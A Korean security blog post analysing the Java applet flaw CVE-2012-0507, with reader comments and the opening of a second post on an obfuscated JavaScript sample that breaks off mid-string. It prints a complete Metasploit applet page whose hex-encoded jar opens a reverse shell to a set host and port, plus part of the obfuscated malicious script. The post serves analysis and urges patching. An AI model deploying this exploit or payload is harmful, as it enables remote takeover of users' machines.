얼마전에(정말 얼마전이죠) CVE 2012-0507 취약점이 발표되었었습니다. java 애플릿에 대한 취약점이죠.


현재까지도 해당 취약점을 악용하는 악성코드가 지속적으로 출몰하고 있는 상황입니다. 


빛스캔에서 발간하고 있는 악성 코드 동향 분석 보고서에도 보면 아직까지 해당 취약점이 언급되고 있습니다.


관련기사 : http://www.dailysecu.com/news_view.php?article_id=2243


한동안은 계속 해당 취약점과 다른 취약점들을 이용하는 악성코드들이 계속 나올 듯하여 그나마 "이런 글을 보고 패치하겠지" 라는 바램에 이렇게 분석/정리하여 봅니다.


일단 해당 취약점을 이용한 악성코드가 심어져 있는 페이지에 접속하면 아래와 같은 java 애플릿 실행 여부를 묻는 창이 뜨며 그 페이지 속에는 다음과 같은 코드들이 들어있습니다.



[그림 1 - 자바 애플릿 실행 여부]


<html><head></head><body><applet archive="dvTKbJP.jar" code="msf.x.Exploit.class" width="1" height="1"><param name="data" value=""/><param name="jar" value="504b03041400000000006cabb1400000000000000000000000000b0000006d65746173706c6f69742f504b03041400000008006cabb140aecf34d0e511000063220000180000006d65746173706c6f69742f5061796c6f61642e636c6173739558097c1c75f57f6f767667763239bae9b69db6810269d9e6d8406943bb2d85344d694a2eba81100ab693dd49b374b3137667db1410510a28788b62b9a96804054baa9b403854b408a8a0c8e9f5f70029a7a2221ed0ff7b33bbc96eb245cce793df6f7ed7fbbde3fb8edf3ef6de7d0f820bea85260536c25f24784b82bf2a7013fc4da1e9bf2bf028bc2dc13f1490e06d2f5c02efc8f04f85fa7f49f06f0554789b8ffd478193e15d1ebe27c361ea1164445a41810ea24b4111dd327a7820c928cbe855a00a156e4a2454b92f95b18c7abeb20acbb9a9a07b7096823eac947136cff8793047c6b932ce635a9a82f371015d8e0b795825e351bced686e1649788c0227e2b1321ec78bd53c702bb818974878bc8c01a6be54c61a9eaa55b00eebb909bac1fe939e54b0014f604a2766a7204a0ac065dc9c24e372195748d8e8c59371254bba4ac2100f562bb8064f9170ad8ca7ca781ad36c92701da9149b655c2f638b8c1b643cdd8b1bb1959b4d329ec122b449d8ce7d878c9ddc7729701e9e29e36609c30af4b162fab05bc6b3643c9b79e891f11c057b896d9a3f57c22d0aec205be1790a0ce2f9127e480113b772b38d1b374fd773a34bd8276344c6a88c860269ece7663b370312c6d8ba6fcb7801eb67878c7136de202b2f21a1a9c0e53824e1850a5cc1772515b88a217005a624b4244ccbb853c25d0a5c83c30a5c8dbb79ff45dc5c4c48c24bb8f9b08c97b2c23e22e3652cc74765fc18f797cbb887fb2b64bc52c2ab24fcb80237e327587157f3fc35dc7c52c64f31639f96f133dc7f56c6cf71ff7936d41724bc56813b99a14bf08bf4855ff2d2f4752cd99765dccb5abd5ec61b14bc116fe2e59b79f916c6ebad3c771b7fede35d5fe1e6766ebecacdd7b819e1e6eb32dea190d1242fde89dfe0996f325b77c97837f7df9271bf8cf7c8382ae10104a933bcb5a3a9bd05c1d77681be536f88eb89ed0d612b194b6c5f4d3ed2d5d4bd716bb8a50bc1d31adedad47a0e029eeb0cd6778611bc9b9ace6edabab19329cc8bc4f554aa7ad0b0f4d450dc8c59d55dfaeeb8a9471166e5116fe65d44db1bde9db0060c2b16a1cb9da3bca93a66566f88c50d8485799309c3aa3e6b735bb3994818112b662610aa0acfacd72dbd353194b68879431f44985fb8de99b6f216e7eac9a4bebbda66ab9ad9aa766426d1d6c412316b2d822bb0f46c04b1d98c122fe2a01ea33be704b6cc54136f535a8623c6103396226977256396d132d86744a346d411667960860a665272666266039f21ba127e5bc2ef90aafa4cd34a59497d08211c98dc9527eed4d17c398b5c7104fe2bb61bd6a6a4d1326c44d296dec71c2f0914d95a0c24aa1e8db60c5b462265dbc5db1f4b445b13eb63c96952170859846a4e6e22913093837a3c7611b1716ce0031c90a2b1548a8081707cb1ed5b8ab1ed71f081b0f8bf089a03acbc2612b7b1a16206de4458346d4b87696d30d389e82414108e9adad261da9bd61bfdcea664d24caa3886e32a3c8ff752032f20ccb6f7a7ad58bca12b690e19492b66a454f819fc9c7c64cab18259c752e10d6664ce74f6d7a5fbfb0da27e1f51c709bc5fc507f0419238688bace243388e50de904730aa5b2a7e17bfa7e2f7f161097fa0e20f991f650a102a1e849788c6a5a9217d17892606adc121151f81432afe081f2518e4db44c5c7f80e31188d111f8fe3a32ce58f55f82dfc9f843f51f1a7f804f9c97a9271c888e65ff224b3fc332479dd61e7223c81aec6a724fc858a4fe3332a3e8bcfa9f83c127b65d325f825fe4ac55f3337f3f2b9c9f70966e4370814477f8bc4cbef54fc3dfe811c60ba0e89799e52e145165ba9b75537a45b032afe115f94f02515ff842fab78085f96f015155fc5d7547c1d5e50e109f8a90abf6093d92a09c6cca013034a538695ef61e5d30024e11b2abe093f57f1cff89702963afb2e2074abf816fe55c2bfa9f8777c1be1e87c7085d3918176c31a30f3e1e78e0c0c9a147e85da6115ff81ef20544e9d99dca7e23fd9d6eeb6aececddd24f672fae3e1c6ce300d5d147625fc978affc6ffa8f82ebe473b92faae908a8705a0209dd3f3badd96d1c441352f2aa902e273a4bcd67067fdca952b56d59fa80a82e0221308224169c0b28652a11c7228c437d05daae0163ce43933d1de9d4ca7ac763da16f3728b478d2296303b9103ccd9ab65d2048248205594212245590f165ca1633f82c4c08e5933c84cdc80ec3621ebd08fea96923b9d3484e2d2aaa5022a8aa502a942168537eeba0a7dbdc6124287e11a32559f617d5d72fa27bc216f1dfa5277512d04852b6c0454cae5c152af01d5598c56e93e7ea0d9339b43497506c0a2afc01fe48871b54c12754aac26cc14f592d27e4b464c8987f38c725c5c934e5a7dd0d5d467290c2a693b31614ae35c5e353cbaa3047989b0b6653c793a6e56879bde964c779851b387386cd7432425097fbc903420d0d0d33c84428c8353473a4eb8f4574cb6065cce3465385f9ac910582a80a0b852a55384a389a74c3c7871ca50453ac8aa02a2c128e21c4d22849b67986013137e77a3354f12c2fcfce2d178686e778add2491741f692e064bac8f39cee81a4b9cb71e1ca9cc6bb68db94b68563c9a984e354f809c78227e171f2a386d4800a2fc321f29f86be5842853f71601183c630c9fc0abcaa0ad51cb8caf3a1a44776a8f01abcae0a8bf1095558028fabc2f1bc0b49e880b0945c3b1894841a55a86555d509c7a842bd10a4782f10304e104ee4af65aa7092b09c7c5158a10a8dc2c9aab09237af1242bcc0d9d34c051384474958a30aa7086b55e154e134151e63b6cb38e40553c61021d66277fbb12d8c1e1b26263855dbaa1a30078d9cb34cc5b33632117b40557e2c2e92252795d8da99372bf59bc90e9de92a549cb41ba914d99a2c17285a84f803c50b1b89ce3a54a4a43114d7198c7302cdcd458978744a4709f2b5ba0f54fb3869962b03cbcc258d4aba6fb391b261df94ca4597a5ef5bc4e4d7718408c7dde715aff358a6ca220b1cece3668aa42b210eb2c5c36eb25f84562da3db181c729290276ac429f2d8f52d55f2e5b4bba92f65c6d31645256b80e80cee8872ed765ca0b0ca2aaedfca29b86ed45303d9cce6491a83e6cee945a493c50a14999d720ad0663d61262808c41d465c241cc2ca22143e20cd95ff4bf5598884595373ad09cbb0338e4c3e9032687804b4b512c676eaf1b4d1d9cf3b5a8b122e49e55be77fe77052b85236b39e34129663d78ac08caad8635b921f2481e92f0b3b5a9a493a571bf8a04f073e95a797cde98415cbb9e7e4c05fe09ed969463585397ae8058a3ea0f2a6483711c32eb767cd982434d35505a09f1b38921bf156bbc8ce6dad2808e006fb983b15370c7a5389814d2c9ceab84667a26538661530b0ce34e386ce556f776f173d75bd7644e26a0be1b4c0fbbfb29ce743be8c49a33f4e466c7028b072ba379f45542bdb66dcb83a97558b1c2403c7123ba9d0405855c449b67c402f9176e9310ac9493b221086cb879c5446b9a73b69c7cbfcda7877ca32489902e77bff1154ef32d971a756f37223ad2a769a4ef5c4d8c78b3a1285256f2add97ca86549994cd555b8a2377b1d7dd3ab26460cb3a366119795622ff5782f9398064cbcba9b5d5b987d38c15e291c9e48053ecd256fbb78180dd79f408272db25ffe5d4ea5b8da89b085b5e6bc3cd016f85cf1e76b714f2c895016b5ec3a33c52f6663d8197079ee809b5542f674dbbf46909d69dc6a33eca2073b65e5ec5545ea41fb82658102c5e5f074c4c2cd3ed4349de85411b8fa88d7359bf178d62676ca66feed30ebe5af0de9789c426549d4e88f250cdb9b105a8b391d89d7f6fe356ad177bd9aa47c1ddf99233d7be62f35b6be13c6aed6046137119951854cfa92768460ca04f2127abe43d808328663298bee1687d2a901467faedea2383fa0a7da2952e72ced312e4cebf1d434d7c939f8b9396fb533f2d934c734c494fd538a6bc81cb25fa159e2cd033a2d623355ff81e6f7296fbc14160729d1345933f2daa4e475ff25d14f2329c51251639813253b512b3b59eb1112a665329ff6938d772fdd42fc7ae246623bc70f4f84d72c874c3383bed52697a78436932a0ac67f4bc7e96dade18d933f75e6ad3af7b499bb8c64b39ecaab5bf2f714610f8e814be051002881f95c2fd3d77cae90ed9e6a7fbb7f22db3f69cfcbfc6b0e3d9c9fb27fb097f98782bcd1d305a3670a46cf168c9ecb1b95d0d7f3f002b5bfa4d12cea917a77cd1878eeb13778e157f06b1078592c0389b680ebad09907ac7406e1b05ef2350ee53c6a1a4f7007847c04333ed13a0d26a695d06ca2a82150d1928cf40856f163519f075d4f92a33303b246ae24128abd5c40cf8b99953eb9b9b817921b7e63e08db7c9a6ffe382c0879344f0616f64c40556f962a4f1cc5f48e76e88dc1a290a4491938c6dea5499a7b0c8e0dc9759a5b93c7e1389b6c754fad6fb126676049068ea7ef806f69066ac6a1b6d1430b7cade4f7dc8c0b69c5ef11a3e340bcd7f7e49890f9642113f24c26bcf6f55e5f90af579c413d7f97682519202d9cd05357af95104b137062afa68cc1b2905aaba9be9332b05c5333b0621c1aa507e0e45e976fe538ac0af78abe50b8d7ad79e9ae70af87d519cec0ea50a9569a8135a431ee4fa17e36ac1d87d3e86855af4b2ba173f6857c54a1739a371c2a733596fbcbb5b207f7c10a576385bfa242d9078bb5327ff932926c2f7846606e76d4341bd611b53d153872f8853de5d43e3a22b834e920dce8e89765954761fdf51019851636ff06c7fc2db6f95b7ca78b0fc0c65ed728b412bb9b34998667f0b08d86ed3d23a4112f49ea7124ed6431bb98578985cbc099b443097959ea306d13ed6dce628f7dabcfb106b70dfc318246adafdb7756d6a072adef6ca4ef90b7d6d7637f287ef926a81885734225a3d01b5247e0294d3908d76a8aefdc0c6cd90bf327e03c320861e87cdf8732b0750cb6854a46603b6dd0ed0d9d13d0675b2c928168a8d4678c03fafa73626e671d0c383ad86eeb603b0b8e8edc5aa92d36db2ac65467e5d1ba205432013b085071e6ea14cd7b102a27609080e397c720112a1d61decc5e1e0d85cab4b20c5c48e6a72ec9f452042deaac903a01e91c347d3b0992b5be5d0cab1a079dbee131d8edc0e62252673e1a2ad9eabc7071d8b6f5ab13700951f9b056a2a9b5be4b597f5ad9187ce41e100449582dac850eeacf17b6c1668a0dbfa17f9102c66650f8e759274ac059342751df5a9363e93266c9e1855cbf83f15fc7f0176755c0fd72c85dafb933f0d1de468f700b5468a2e676f9c9cb3f3672f8104786154e20e2cb3c74c5efe0f7e0e39fb09ceb70295d5642bd7f022eefad1d833d21f7045c41f75ec9716102aea2cf8f67e013137035e9e89a5ed6bfef93a47fd703f0a931f83423fa3321b9fe1158c56c7cb6d1ebf712530ac50f25039faba9414d71f9bd8cb7cff78688af2f4c6ebbe9f0b323b02027e5b52461bd2325e1c3095d5f24247b7c5ff264a1721d43e5cb0e54aeb3a1721de17f14f6f2fcf5cefc5e7b7e2fb9c428dcc0f3373af337d8f337d83ee5f538d872d3e93a761e31eb5b3e8e9f137033ebf7960cdc7a0f877314d00d374db3d78bf05236e89f4b8a14a8ef408ae7b7ed85aaac40a3b08f43dc571c91c8b96e6fab7d64faea57f3570f824c663e6a3f8dbeb6df369ac23f5565efa905c14e2e476729303ac9a3f782ec1b190137039649e50ebe0c87b2079711d322f54b88eed7dbb18322e11d7b41e37054574b575190ed20c5df713db8b1a33e77fe1578357bfe5e3aeda1feae09b8932efe461bd1f9667b6d9d8bc2dd5d3dec3b75e2b251b89bbc84e97c6b2f3453777148f4ed67fcddc3f1f1f021df6876b090643ce0de072a33408972d17e9af836872d3b9bddd53372f8feac8821d1d5e8f6bbf9c03ea8f6bbc5db41d5c8dedfc940a647136bfd84a4b10c8cf7ec7193f33d6f0758d1c92739315e83d71d31d04b62c834f72e9d5f5353d1b080126bc579dc9e81ed3515a10cdcbbb6ea66b8d2d6e96555e2b646b1c6e52772f7b593aa27d82d7279b9824e65e89e76cded17972fb81514bf286e2323f8c54631c7bb8706929ff229c589006d947863197f88d1e50b6ea14f8f3dcbb2ec9188ff6718f1be3346e04cbaef7e92f5d41abafd013ad558b380247d90185ac017d99f7ed17d3b9433873c71df088835ed35c4dbfd1486890601ecee763e7ffe196e3b0710cec59af0fe6c0df306bc990d374bc065c3973188fbdb26c0d54bfa16c7c0fd900d3711dcf67aaefaf9f364b5d364cf03acf03d340edf1d85ef65e0fb07e061df0f6874007ee83b380a0f93c50fc06da3347ac4fe5ceffb91bdbacf094af0ff504b03041400000000006cabb1400000000000000000000000000c0000006a6176617061796c6f61642f504b03041400000000006cabb140000000000000000000000000120000006a6176617061796c6f61642f73746167652f504b03041400000008006cabb1402600ec319c000000d30000001d0000006a6176617061796c6f61642f73746167652f53746167652e636c6173733bf56fd73e0666065d062e76067676060e4606d6e292c4a2124606570d9facc4b244fdcc7c7d97c49244cfbc82d292e092a2d4c45c6bb8847f690942341a229c939897ae0f14cacc4bb7d60c6364e072ad484e2d28c9cccf2b6667e064641007a92a48acccc94f4cd107da959e0a540d2419190410fafd93b25293818e104608c18d616364606460620001461646a0e359807c56200f44b331300000504b03041400000008006cabb140ea1e3cba14030000ea050000270000006a6176617061796c6f61642f73746167652f53747265616d466f727761726465722e636c617373a5544953135110fe5e16868c838425c88eb8603221c40d5436954da36c0282e0694c06180d99d43011fd297af1c8992a08945872d32aff8337ff8177b17b324028d12acaa4aa97f7beeefeaabbdf7cfbf5f133bc88615e462d3a64c47155c6355c67eb065b37d9ea64ab93215d32ea702b40d66d16775874b3e891d0cb803e09fd3282b82be32cee49b82fa30a031206d91f626758c2888407021e2323101a7da9bdd6e286194f64b2397bdab6746da547c06be66c819ac3db899c5d7c5db66a6bc957339696d42718589a4c9bab05532c08488ba6b5a65929818ef089054ece1b9915f00d9a295d401e7e93d4b3b6616656253c14889f26cf02272ae9353286dd2f30749ad0bf131bfeff340e2faf95a3be7bc36c2bf6b265aecd595a36ab53b36add12692db3149fe12bed455aa7ea0a5ad12621a1e0111e4b185530867105139854f0045105532cae20c282ac7a34286844938266162d382f5075426a05ed881d5c11db49cbc8b86439d3b482193c15a83f0a9dca656c63453f9c0ec32843c31162dc9cce2597c7747bd94c0d5b96692998c51ce39e09b4322eabbd4d9b5a2a4e3bb4a4c70be5460a0ba35b02c16344752d554430317158b9f8f4681eb44085107ff8f9402421507dd224e87acd326cda3389608904cf22403823cd5d71a643a1fec5746e7599b4b3dcd486f03fc65a9e2df4eee0591c4df3785f9d5d2ab54df28ccc12f10b478a865e38a507160aff791a99a535a8a50f00e043250f99ac4a9eb3a39b5d4dd3265d8200a12fc0838be455d157c6435a52a3be1d880df0ef929348e0b2036d73a1069d95901eab08e253e9b81acbc333dfe5f37c4053f4cbfecf68cc1bf2e5e155f3f0bddfff11cdc3bfbeff9dbc92c6776820575a4775b7df3d90f8a0cebfb7e1546f470fc91ef439ba9880a0f50893640221f8e91408a8d1f6986f1ba505b60c89b810e6ea275daf6e336c0bb2dabe85336a6c0b8a1af26da1ec204645d48d19a4082611573709be49e84d94512fd6d1324aa6f295c8eea03cba8be03cfb54b9228fca0d0a07caa9af6749cbfc60dc84aadbd39a5d54cd1391eabd51c7caa3661be7f69cb800fd43cce437504b03041400000008006cabb14029f4dc1882020000d30400001d0000006a6176617061796c6f61642f73746167652f5368656c6c2e636c61737385545b53d34014fe96a66c09914b0125def182012af18a4a1154288aa2458a3a0e4fa15d4b9836e9248b8517ff8a8f3efb52181dfd01fe28c7b394d216339a999ccdf9f6ec77be3d7b36bf7e7ffb8918aee38d8e93b8c0713181111d9770594707ae2470558da3095c4bc0d2318671652638523a2d9ad461c0d6710337957b4b99dbcadcd17117533aee618ae33ec7038e6986ce19d773e52c43cc1a7bcba0cdfb05c1100fa51348868cb5bce57c746cd7b7171ce92c79956d99938170cae9a389ecb66ca2eb75b8e478459b20d72ba615ad9ed9c98b8a747d2fe4481b1886c9d0773c9481fbe1a4e79405c78c8187983530874704575dafe05743038ff184dc7cb93029764827b7375ccf0e3739e60d2c206360114f19461473c5d92df94ec1a6ad14855dd7b7e8075527288880e39981253c57525e702c1b3803d3c04bbc3290556605af39560de46072ac319c8aa0dc14a552db36b21b5b222fa38395651868061f95a4bd12bba1146586eea2902b815f1181dc6518b522eafa3744cba4bfec574530ef84946dd08a0ce2544db193fdc03014c5bbc4d0df4457b73de996894c274547ce501bf3214cd41a1d4b9ec1b2d6ff2d98b6961761986e4b750832f452aad6b662186ee43bde700c0bcd1efd7f7f46a3aa455bce606d93d002430fc968a1a4736d51d19aab1e9a09023f6884f2aae34a6ab7838b4515351beb16dd9214411b6d3c5ff20f8e2b4a1c463044bf014a0ed0b567eaee903d4d5e3f8d8cc6f8f81ed857a887511f9fa53035fd097174d218683fd031ad2563fbd06a88273b6be01d9f61985a2c99c87d4197fae8caed433769be7b3afe1dc6fb09335ec389d41e7a6ae85580f2fb52c780fe06a09ce4bb891a0652350cd6b59ca3572345e7813f504b03041400000000006cabb140000000000000000000000000090000004d4554412d494e462f504b03041400000008006cabb140ae74567e72000000da000000140000004d4554412d494e462f4d414e49464553542e4d46f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5f24dccccd375ce492c2eb652c84d2d492c2ec8c9cf2cd10b48acccc94f4ce1e5e2e5f24bcc4d4596d387cae92583742154642596251640a4f48b4b12d353f583412431ca8a521373ddf28bca138b52528b88d090919a9383500600504b03041400000008006cabb1402528e75633000000330000000e0000006d65746173706c6f69742e646174f3f1f00f0eb135b434d23334b3d033d3333436e4f209f00f0ab13501022ed7dca4d49494d494e092c4f454dbe08cd49c1c2e00504b010214001400000000006cabb1400000000000000000000000000b00000000000000000000000000000000006d65746173706c6f69742f504b010214001400000008006cabb140aecf34d0e5110000632200001800000000000000000000000000290000006d65746173706c6f69742f5061796c6f61642e636c617373504b010214001400000000006cabb1400000000000000000000000000c00000000000000000000000000441200006a6176617061796c6f61642f504b010214001400000000006cabb14000000000000000000000000012000000000000000000000000006e1200006a6176617061796c6f61642f73746167652f504b010214001400000008006cabb1402600ec319c000000d30000001d000000000000000000000000009e1200006a6176617061796c6f61642f73746167652f53746167652e636c617373504b010214001400000008006cabb140ea1e3cba14030000ea0500002700000000000000000000000000751300006a6176617061796c6f61642f73746167652f53747265616d466f727761726465722e636c617373504b010214001400000008006cabb14029f4dc1882020000d30400001d00000000000000000000000000ce1600006a6176617061796c6f61642f73746167652f5368656c6c2e636c617373504b010214001400000000006cabb14000000000000000000000000009000000000000000000000000008b1900004d4554412d494e462f504b010214001400000008006cabb140ae74567e72000000da0000001400000000000000000000000000b21900004d4554412d494e462f4d414e49464553542e4d46504b010214001400000008006cabb1402528e75633000000330000000e00000000000000000000000000561a00006d65746173706c6f69742e646174504b0506000000000a000a0099020000b51a00000000"/><param name="lhost" value="192.168.6.131"/><param name="lport" value="4444"/></applet></body></html>


공격의 간략적인 흐름을 보면 페이지에 있는 쉘코드가 dvTKbJP.jar의 exploit 클래스로 들어가 실행되게 됩니다. 물론 해당 쉘코드는 제가 만든 reverse_tcp 쉘코드 입니다.


이제 dvTKbJP.jar 파일안이 어떻게 되었는지 살펴볼 차례 입니다.


일단 해당 취약점이 무엇을 이용한 취약점인지부터 살펴보죠.


해당 취약점에서 이용한 것은 java에서 제공되는 AtomicReferenceArray 클래스 입니다. 클래스로 넘어오는 인자(원자변수)들을 배열로 핸들링 할 수 있게끔 하는 클래스인데 배열로 핸들링 할 때 역직렬화를 시켜 메모리에 손상을 주어 샌드박싱이 해제되게끔 하여 악성코드가 샌드박싱을 벗어나 실행되게끔 합니다. 정말 교묘하죠 ?


그런데 더 중요한 것은 역직렬화가 논리적 결함에서 벗어나는 행위가 아니라는 것 입니다. 그렇기에 클래스는 정상참조를 하게 됩니다.


이제 코드를 한번 살펴 봅시다. 코드는 심오한 취약점에 비해 정말 간단합니다.


[취약점 분석]


1. 취약점을 이용하는 악성코드가 심어져 있는 페이지에 접속하게 되면 jar 파일과 쉘코드들이 조합되어 실행이 됩니다. 일단 실행이 되면 jar 파일의 exploit 클래스의 아래와 같은 코드가 실행됩니다.


[그림 2 - AtomicReferenceArray() 클래스 객체 생성]


2. 객체가 생성 되면 ClassLoader 클래스를 생성하고 AtomicReferenceArray()에 설정하여 줍니다.


[그림 3 - Class Loader 설정]


3. 설정이 끝나면 여러가지 부수적인 정보를 설정한 뒤 Help.classdoWork() 메소드를 호출 합니다.

[그림 4 - 부수적 정보 설정]


4. doWork() 메소드는 새로운 클래스를 하나 정의하며 정의 된 클래스에서 ShellCode를 다운로드 받아 실행합니다.


[그림 5 - dowork 메소드 일부분]


전체적인 흐름을 그림으로 그려보면 다음과 같습니다.


[그림 6 - 전체적인 흐름도]


그림은 자세히 표현하지 않아 잠시 헷갈릴 수 있습니다.

Exploit.class 와 Help.class가 jar파일의 클래스이고 샌드박싱 내에서 실행됩니다. 여기서 임의로 정의한 defineclass는 샌드박싱 밖 영역에서 실행되게 됩니다.


해당 취약점은 심각한 취약점이므로 해당 글을 보시는 분들은 아래 링크로 가셔서 해당 취약점을 패치하시거나 최신버전 업데이트를 하시기 바랍니다.


취약점 패치 : http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html

최신버전 : http://www.oracle.com/technetwork/java/javase/downloads/index.html



저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10
  1. 트라 2012.05.19 15:30 신고

    좋은 내용 잘보구 갑니다 ^^

  2. ray 2012.06.26 12:21 신고

    좋은 정보 감사합니다.

  3. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.12 22:41 신고

    안녕하세요. 정리를 잘 해주셔서 잘 보았습니다. ^^
    그런데 궁금한 점이 있어서요.

    AtomicReferenceArray 클래스로 넘어오는 인자를 배열로 핸들링 할 때, 역 직렬화를 시켜 메모리에 손상을 준다고 하셨잖아요?
    그런데 이 때 역 직렬화는 AtomicReferenceArray 생성자 함수를 호출하기 이전에 시켜주는 건가요?
    그리고 역 직렬화 과정 중에 무슨 이유로 메모리가 손상되었는지 궁금해서요.

    글의 제목처럼 간단분석이라고 하셨는데 제가 너무 무리하게 질문을 한 것은 아닌지 모르겠네요. ^^;;

    감사히 잘 보고 갑니다~

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.12 23:59 신고

      역 직렬화는 인자를 배열로 핸들링 할 때 비정상적인 인자로 인해 일어나는 것 입니다. 즉, 클래스 호출과 처리 과정에서 일어나는 것이지요 ㅎ
      사실 역직렬화 자체는 컴퓨터 입장에서 논리적으로 보았을 때 크게 이상한 것은 아닙니다. 하지만 메모리 입장에서 보면 역직렬화는 이해하지 못하는 구조라는 것이 포인트입니다.

  4. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.13 00:47 신고

    AtomicReferenceArray 클래스는 해당 요소를 원자적으로 업데이트하기 위한 객체 참조 배열을 핸들링하는 클래스라고 나와 있네요. 그리고 이 클래스는 객체가 안전하게 직렬화 될 수 있도록 Serializable 인터페이스를 포함하고 있구요. 즉, 직렬화 된 객체를 안전하게 핸들링하기 위한 클래스가 맞나요?

    맞다면 정상적인 경우, 어떠한 객체를 직렬화 시킨 다음 AtomicReferenceArray 클래스를 이용하여 직렬화 된 객체를 안전하게 핸들링하기 위해 사용하는 것이 정상적인 사용 방법이 되겠네요.

    그런데 이 취약점에서는 이미 직렬화 된 바이트 배열을 역 직렬화 시켜서 객체로 복원한 다음, 이 객체를 AtomicReferenceArray 클래스의 생성자 함수에 인자로 전달하기 때문에 문제가 발생하는 건가요?

    제가 머리가 잘 안돌아가서 이렇게 정리하지 않으면 이해가 잘 안되는 타입이라서요...ㅜ_ㅜ;
    일단 저는 이렇게 이해를 했는데 혹시 잘못 이해하고 있는 부분이 있다면 지적 부탁드려요.ㅋ
    그리고 빠른 답변 감사드립니다. ^^

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.13 12:36 신고

      개략적인 내용은 이해하신 듯 하네요 ㅎ 그런데 복원이란 의미는 조금 맞지 않습니다. 조작이라는 표현이 좀 더 정확합니다 ㅎ

  5. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.13 14:27 신고

    전부 MaJ3stY님 덕분입니다.ㅋ
    복원이라고 표현하는데는 좀 무리가 있겠군요. 좀 더 찾아보니 직렬화와 역직렬화 과정의 명확한 용어가 있네요. 이미 알고 계시겠지만 혹시 모르시는 분 들을 위해...

    직렬화(Serialization) 과정을 디플레이팅(deflating) 또는 마샬링(marshalling)이라고 부르며, 역직렬화(Deserialization) 과정을 인플레이팅(inflating) 또는 언마샬링(unmarshalling)이라고 하네요.

    그럼 마지막으로 질문 하나만 더 드릴게요...
    이런 문제점으로 메모리가 손상되었고, 결국 샌드박스 제한을 우회하여 임의의 코드를 실행할 수 있게 되었는데요.
    메모리가 어떻게 손상이 되었길래 샌드박스를 우회할 수 있었던 걸까요?

    AtomicReferenceArray 클래스를 이용해서 직렬화 된 바이트 배열을 안전하게 핸들링해야 하는데 역직렬화 된 객체 배열이 전달되는 바람에 코드 상으로는 크게 문제가 되지는 않았지만 메모리 구조적으로는 문제가 발생한건가요.

    개인적으로도 너무 궁금해서 고민을 좀 해봤는데요. 자바 리버싱은 디컴파일 하는 것 말고는 잘 모르겠더라구요.
    그래도 궁금한게 하나씩 이해가 되니 재밌네요.ㅎ

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.15 17:58 신고

      음 어떻게 라고 말씀을 하시니 어떻게 설명을 드려야 할지... 딱히 그 구조를 추상화해서 보여 드릴 수가 없군요 지금은 ㅠㅠ 메모리 손상이라는 것은 메모리 내에서 어떤 프로그램 영역이 제대로 동작을 못한다라고 생각을 하시면 될 듯 합니다. 즉, 샌드박스가 제 기능을 못하는 상태에서 opcode가 진행이 되고 결국 다른 프로세스 영역으로 점프를 하는거죠.
      자바로 만들어진 실행 파일은 IDA로 보시면 되요 ㅎㅎ

  6. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.18 10:23 신고

    음...그렇군요ㅋ 덕분에 잘 배우고 갑니다. 감사합니다. ^^

실무에서 악성코드를 분석하시는 분의 블로그를 오랜만에 갔더니 새로운 난독화에 대한 포스팅이 보여 샘플을 얻어 분석해 보았다.


샘플은 다음과 같은 소스로 구성되어 있다.

<script type="text/javascript" src="swfobject.js"></script>

<script src=jpg.js></script>

<script language =javascript>

var uud1="%78"+"%78"+"%6F"+"%6F"+"%78"+"%78"+"%31";var uud2="%32"+"%33"+"%34"+"%35"+"%36"+"%37";var pkucde =uud1+uud2,AVgHbu2f=unescape,cu1l2lp3s2z="2l1BShXWWVkWzTRLpDpMIO/U8pNbn+nrAHi7v28WDThOUiRTrs0wE5j8K9f7ln2BrwwYSZUWXbFfY6FsP1BhaRQyX5zzTX5cbyD9Cdf1lWMiReYKrnNPxTBJLcYWz/tSOpP5dL/oeTsiWD0h5wxR3K0Fsqo382Cbsl4j4aYSfbwiB9UWFlEdEy/4uuGEXAMlaNSymg87i5OGt0Jw+5q16h4ePcwg9NWLXCnBGTl1HLXImvjieRWBQcWMlDDHT5uTdzOZTNGJUPBqVNAWsV+XHcLFIv+cK15YWJyJkzSswMqGRKSmB4wkMy7YnUkCsEpH3wPyBW9APKkXzmx6JBohXQcDQsjJENyE6M6V4iRL1FxQuIvHeQ+psNFKrv3/ivMTL98MO4PLVvHy4mfnVNVYuJYzGMxvYbYdLG5u8uxT+m2fJNGallTXs8F/3lzttDvF0toKTonBxwtDDCmS8dW1KUgmeQYripKP4DK2moDJtHx8MkW7OzyHroyiQ+/evP2SB+PoaOhjPwAM060bXPodh8mmjQ/cWjdat67+y6raY+js1nTq9ernxXv93llB0Zl+QzDykXifyxGs3/4mjl10UIT159LXyQfYDeohi8ggzovLpNurOLJxBmIzKjW1rId3EBaXzND5xWCnJVeTjIWP6GQH6C75RwM7R4QUTgB3XiqHl5r/hpz6YjhL4Gx4dweVR8ZL44dyBk6v2PZrR5Gc12PNn8wNxd5D8yE/42pSyXBYHIMjgAIsdfMKyzEaTU5I6pIQSq1bGfjSeR6C3YTIwN4fz3ydVx4Q3i0vXv5BsjXKF3QMzMJE25JQ0HdhOrs/B8X6G2wJtBmMdTMzz+PhxRoHeJMsnn1eDDXB/Z28kDmnKDplylPZ2Tznm9MMzXGztA9rAFMtnvs2homnewBczI+oILB4Wyl5lg8yPlEDy/EX0p34BUole7PAu6OPEvx+h6eejmDNBaDnrdnBFkI3fPJivH7ivIphJQkWh+2mCK5aNOpcY4l9Ga0kbV+kqKsOYYMzB3/wXN7qFK/Uz93xl5d0sh6gk8gcYz0mElC0p9LzWqJ+dnwiMLNJyV1INF0mq12+37NCi5e0NtY/QBaEQ2UFgJGDsc/+1WgYv6P5krqhRACLL6VAdlnKCQcLKMVlc2+5/XVMH99/yh0wa+XzVPLFYODthX3PVMQXeAJWeGhUvvp2zkjiYKxzIjr